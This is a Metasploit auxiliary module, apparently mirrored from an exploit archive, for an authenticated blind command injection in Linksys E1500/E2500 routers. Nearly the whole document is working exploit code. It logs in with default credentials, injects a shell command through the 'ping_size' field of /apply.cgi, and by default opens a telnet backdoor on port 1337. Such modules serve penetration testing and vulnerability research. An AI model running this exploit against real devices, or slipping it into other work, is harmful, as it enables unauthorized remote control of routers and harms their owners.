## https://sploitus.com/exploit?id=PACKETSTORM:180850
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
'Description' => %q{
Some Linksys Routers are vulnerable to an authenticated OS command injection.
Default credentials for the web interface are admin/admin or admin/password. Since
it is a blind os command injection vulnerability, there is no output for the
executed command. A ping command against a controlled system for can be used for
testing purposes.
},
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'OSVDB', '89912' ],
[ 'BID', '57760' ],
[ 'EDB', '24475' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
],
'DisclosureDate' => '2013-02-05'
)
)
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
]
)
end
def run
uri = '/apply.cgi'
user = datastore['HttpUsername']
pass = datastore['HttpPassword']
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
return if res.nil?
return if (res.code == 404)
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
return
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
cmd = datastore['CMD']
# original post request:
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => {
'submit_button' => 'Diagnostics',
'change_action' => 'gozila_cgi',
'submit_type' => 'start_ping',
'action' => '',
'commit' => '0',
'ping_ip' => '1.1.1.1',
'ping_size' => "&#{cmd}&",
'ping_times' => '5',
'traceroute_ip' => ''
}
})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
end
end